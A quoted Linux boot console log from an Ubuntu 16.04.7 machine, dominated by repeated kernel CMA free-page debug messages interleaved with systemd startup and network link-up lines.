> [ 7.219573] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.219600] cma:
> [ 7.219600] => 1802 free of 8192 total pages
> [ 7.220639] cma: number of available pages:
> [ 7.220639] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.220666] cma:
> [ 7.220667] => 1802 free of 8192 total pages
> [ 7.221706] cma: number of available pages:
> [ 7.221707] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.221735] cma:
> [ 7.221735] => 1802 free of 8192 total pages
> [ 7.222773] cma: number of available pages:
> [ 7.222774] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.222801] cma:
> [ 7.222802] => 1802 free of 8192 total pages
> [ 7.223838] cma: number of available pages:
> [ 7.223839] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.223866] cma:
> [ 7.223867] => 1802 free of 8192 total pages
> [ 7.224905] cma: number of available pages:
> [ 7.224905] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.224933] cma:
> [ 7.224933] => 1802 free of 8192 total pages
> [ 7.225971] cma: number of available pages:
> [ 7.225972] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.225999] cma:
> [ 7.225999] => 1802 free of 8192 total pages
> [ 7.258974] cma: number of available pages:
> [ 7.258975] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.259003] cma:
> [ 7.259004] => 1796 free of 8192 total pages
> [ 7.259070] cma: number of available pages:
> [ 7.259071] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.259099] cma:
> [ 7.259099] => 1796 free of 8192 total pages
> [ 7.259117] cma: number of available pages:
> [ 7.259118] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.259146] cma:
> [ 7.259146] => 1796 free of 8192 total pages
> [ 7.264240] cma: number of available pages:
> [ 7.264241] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.264270] cma:
> [ 7.264271] => 1763 free of 8192 total pages
> [ 7.264338] cma: number of available pages:
> [ 7.264338] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.264366] cma:
> [ 7.264367] => 1763 free of 8192 total pages
> [ 7.264386] cma: number of available pages:
> [ 7.264387] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.264416] cma:
> [ 7.264416] => 1763 free of 8192 total pages
> [ 7.271806] cma: number of available pages:
> [ 7.271807] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.271836] cma:
> [ 7.271837] => 1730 free of 8192 total pages
> [ 7.271902] cma: number of available pages:
> [ 7.271903] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.271932] cma:
> [ 7.271932] => 1730 free of 8192 total pages
> [ 7.271951] cma: number of available pages:
> [ 7.271951] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.271980] cma:
> [ 7.271981] => 1730 free of 8192 total pages
> [ 7.279372] cma: number of available pages:
> [ 7.279373] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.279406] cma:
> [ 7.279406] => 1697 free of 8192 total pages
> [ 7.279473] cma: number of available pages:
> [ 7.279474] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.279503] cma:
> [ 7.279504] => 1697 free of 8192 total pages
> [ 7.279523] cma: number of available pages:
> [ 7.279523] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.279553] cma:
> [ 7.279553] => 1697 free of 8192 total pages
> [ 7.317183] cma: number of available pages:
> [ 7.317184] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.317216] cma:
> [ 7.317217] => 1628 free of 8192 total pages
> [ 7.318255] cma: number of available pages:
> [ 7.318255] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.318287] cma:
> [ 7.318288] => 1628 free of 8192 total pages
> [ 7.319326] cma: number of available pages:
> [ 7.319326] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.319359] cma:
> [ 7.319359] => 1628 free of 8192 total pages
> [ 7.320396] cma: number of available pages:
> [ 7.320397] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.320429] cma:
> [ 7.320430] => 1628 free of 8192 total pages
> [ 7.321469] cma: number of available pages:
> [ 7.321469] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.321502] cma:
> [ 7.321502] => 1628 free of 8192 total pages
> [ 7.322540] cma: number of available pages:
> [ 7.322541] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.322573] cma:
> [ 7.322573] => 1628 free of 8192 total pages
> [ 7.323613] cma: number of available pages:
> [ 7.323613] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.323646] cma:
> [ 7.323646] => 1628 free of 8192 total pages
> [ 7.324684] cma: number of available pages:
> [ 7.324684] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+5@3051+7@5
> [ 7.324717] cma:
> [ 7.324717] => 1628 free of 8192 total pages
> [ 7.337835] eth2 NIC Link is UP 10000 Mbps Full duplex
> [ 7.364857] cma: number of available pages:
> [ 7.364858] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@5
> [ 7.364891] cma:
> [ 7.364892] => 1622 free of 8192 total pages
> [ 7.364960] cma: number of available pages:
> [ 7.364960] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@5
> [ 7.364993] cma:
> [ 7.364993] => 1622 free of 8192 total pages
> [ 7.365012] cma: number of available pages:
> [ 7.365013] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@5
> [ 7.365046] cma:
> [ 7.365046] => 1622 free of 8192 total pages
>
> [ 7.375088] cma: number of available pages:
> [ 7.375089] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> Welcome to Ubuntu 16.04.7 LTS[ 7.375123] cma:
> [ 7.375124] => 1589 free of 8192 total pages
> ![ 7.375190] cma: number of available pages:
>
> [ 7.375191] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.375224] cma:
> [ 7.375225] => 1589 free of 8192 total pages
> [ 7.375244] cma: number of available pages:
>
> [ 7.375245] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.375278] cma:
> [ 7.375279] => 1589 free of 8192 total pages
> [ 7.375378] cma: number of available pages:
> [ 7.375379] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.375412] cma:
> [ 7.375413] => 1589 free of 8192 total pages
> [ 7.376435] cma: number of available pages:
> [ 7.376436] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.376469] cma:
> [ 7.376470] => 1589 free of 8192 total pages
> [ 7.376536] cma: number of available pages:
> [ 7.376537] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.376570] cma:
> [ 7.376571] => 1589 free of 8192 total pages
> [ 7.376594] cma: number of available pages:
> [ 7.376594] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.376636] cma:
> [ 7.376637] => 1589 free of 8192 total pages
> t
> [ 7.376736] cma: number of available pages:
> [ 7.376736] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.376770] cma:
> [ 7.376771] => 1589 free of 8192 total pages
> [ OK ] Created slice[ 7.377794] cma: number of available pages:
> User and Session Slice.[ 7.377794] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@30071
>
> [ 7.377828] cma:
> [ 7.377828] => 1589 free of 8192 total pages
> [ 7.377897] cma: number of available pages:
> [ 7.377898] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.377931] cma:
> [ 7.377931] => 1589 free of 8192 total pages
> [ 7.377951] cma: number of available pages:
> [ OK ] Started Dispa[ 7.377952] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+31
> tch Password Requests to Console [ 7.377986] cma:
> Directory Watch.
> [ 7.377986] => 1589 free of 8192 total pages
> [ 7.378086] cma: number of available pages:
> [ 7.378087] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.378121] cma:
> [ OK ] Reached targe[ 7.378121] => 1589 free of 8192 total pages
> t Remote File Systems (Pre).[ 7.416714] cma: number of available pages:
>
> [ 7.416715] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.416751] cma:
> [ 7.416751] => 1553 free of 8192 total pages
> [ OK ] Reached targe[ 7.417795] cma: number of available pages:
> t Encrypted Volumes.[ 7.417795] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@31
>
> [ 7.417831] cma:
> [ 7.417831] => 1553 free of 8192 total pages
> [ 7.418874] cma: number of available pages:
> [ 7.418874] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ OK ] Listening on [ 7.418910] cma:
> Journal Socket.
> [ 7.418910] => 1553 free of 8192 total pages
> [ 7.419953] cma: number of available pages:
> [ 7.419954] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.419989] cma:
> [ 7.419990] => 1553 free of 8192 total pages
> [ OK ] Listening on [ 7.421034] cma: number of available pages:
> Journal Socket (/dev/log).[ 7.421034] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@301
>
> [ 7.421074] cma:
> [ 7.421074] => 1553 free of 8192 total pages
> [ 7.422121] cma: number of available pages:
> [ 7.422122] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ OK ] Reached targe[ 7.422165] cma:
> t Remote File Systems.[ 7.422166] => 1553 free of 8192 total pages
>
> [ 7.423210] cma: number of available pages:
> [ 7.423210] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.423246] cma:
> [ 7.423246] => 1553 free of 8192 total pages
> [ OK ] Listening on [ 7.424289] cma: number of available pages:
> /dev/initctl Compatibility Named [ 7.424290] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@301
> Pipe.
> [ 7.424326] cma:
> [ 7.424326] => 1553 free of 8192 total pages
> [ 7.450596] sdp1-0 NIC Link is UP
> [ 7.467539] cma: number of available pages:
> [ OK ] Listening on [ 7.467540] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+31
> Journal Audit Socket.
> [ 7.467577] cma:
> [ 7.467577] => 1547 free of 8192 total pages
> [ 7.467645] cma: number of available pages:
> [ 7.467646] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.467684] cma:
> [ OK ] Reached targe[ 7.467684] => 1547 free of 8192 total pages
> t Swap.
> [ 7.467703] cma: number of available pages:
> [ 7.467704] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.467741] cma:
> [ 7.467741] => 1547 free of 8192 total pages
> [ OK ] Created slice[ 7.467842] cma: number of available pages:
> System Slice.
> [ 7.467842] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.467879] cma:
> [ 7.467880] => 1547 free of 8192 total pages
> [ 7.468901] cma: number of available pages:
> [ 7.468901] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ OK ] Reached targe[ 7.468938] cma:
> t Slices.[ 7.468938] => 1547 free of 8192 total pages
>
> [ 7.469006] cma: number of available pages:
> [ 7.469006] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.469042] cma:
> [ 7.469043] => 1547 free of 8192 total pages
> [ 7.469063] cma: number of available pages:
> [ 7.469063] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.469100] cma:
> [ 7.469100] => 1547 free of 8192 total pages
> [ 7.469200] cma: number of available pages:
> [ 7.469200] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.469237] cma:
> [ 7.469238] => 1547 free of 8192 total pages
> [ 7.470259] cma: number of available pages:
> [ 7.470259] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.470296] cma:
> [ 7.470296] => 1547 free of 8192 total pages
> [ 7.470365] cma: number of available pages:
> [ 7.470365] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.470402] cma:
> [ 7.470402] => 1547 free of 8192 total pages
> [ 7.470421] cma: number of available pages:
> [ 7.470422] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.470459] cma:
> Starting Load Kernel Mod[ 7.470459] => 1547 free of 8192 total pages
> ules...
> [ 7.470561] cma: number of available pages:
> [ 7.470561] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.470598] cma:
> [ 7.470599] => 1547 free of 8192 total pages
> [ 7.471619] cma: number of available pages:
> [ 7.471620] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.471656] cma:
> [ 7.471657] => 1547 free of 8192 total pages
> [ OK ] Created slice[ 7.471725] cma: number of available pages:
> system-getty.slice.
> [ 7.471726] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.471772] cma:
> [ 7.471772] => 1547 free of 8192 total pages
> [ 7.471795] cma: number of available pages:
> [ 7.471796] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> Mounting POSIX Message Q[ 7.471832] cma:
> ueue File System...[ 7.471833] => 1547 free of 8192 total pages
>
> [ 7.471933] cma: number of available pages:
> [ 7.471933] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.471970] cma:
> [ 7.471971] => 1547 free of 8192 total pages
> [ 7.495135] cma: number of available pages:
> [ 7.495136] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.495175] cma:
> [ 7.495175] => 1511 free of 8192 total pages
> Mounting Debug File Syst[ 7.496216] cma: number of available pages:
> [ 7.496217] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> em...[ 7.496256] cma:
>
> [ 7.496256] => 1511 free of 8192 total pages
> [ 7.497299] cma: number of available pages:
> [ 7.497299] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.497338] cma:
> [ 7.497338] => 1511 free of 8192 total pages
> [ 7.498382] cma: number of available pages:
> [ 7.498383] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> Mounting Huge Pages File[ 7.498421] cma:
> System...
> [ 7.498421] => 1511 free of 8192 total pages
> [ 7.499463] cma: number of available pages:
> [ 7.499464] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.499502] cma:
> [ 7.499503] => 1511 free of 8192 total pages
> Starting Journal Service[ 7.500545] cma: number of available pages:
> ...[ 7.500545] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@30511
>
> [ 7.500584] cma:
> [ 7.500584] => 1511 free of 8192 total pages
> [ 7.501628] cma: number of available pages:
> [ 7.501629] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.501667] cma:
> [ 7.501667] => 1511 free of 8192 total pages
> Starting LSB: QEMU KVM m[ 7.502710] cma: number of available pages:
> odule loading script...[ 7.502711] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+1
>
> [ 7.502759] cma:
> [ 7.502759] => 1511 free of 8192 total pages
> [ 7.529020] sdp1-1 NIC Link is UP
> [ 7.595117] cma: number of available pages:
> [ 7.595118] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> Starting Remount Root an[ 7.595158] cma:
> d Kernel File Systems...[ 7.595158] => 1505 free of 8192 total pages
>
> [ 7.595225] cma: number of available pages:
> [ 7.595226] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.595265] cma:
> [ 7.595265] => 1505 free of 8192 total pages
> [ 7.595284] cma: number of available pages:
> [ OK ] Created slice[ 7.595285] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+31
> system-serial\x2dgetty.slice.[ 7.595324] cma:
>
> [ 7.595324] => 1505 free of 8192 total pages
> [ 7.595423] cma: number of available pages:
> [ 7.595424] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ 7.595464] cma:
> [ 7.595464] => 1505 free of 8192 total pages
> Starting Create Static D[ 7.600495] cma: number of available pages:
> evice Nodes in /dev...[ 7.600495] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+31
>
> [ 7.600535] cma:
> [ 7.600535] => 1505 free of 8192 total pages
> [ 7.600604] cma: number of available pages:
> [ 7.600604] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+3@3041+1@3047+1@3051+1@1
> [ OK ] Started Forwa[ 7.600644] cma:
> rd Password Requests to Wall Dire[ 7.600644] => 1505 free of 8192 total pages
> ctory Watch.
> [ 7.600664] cma: number of available pages:
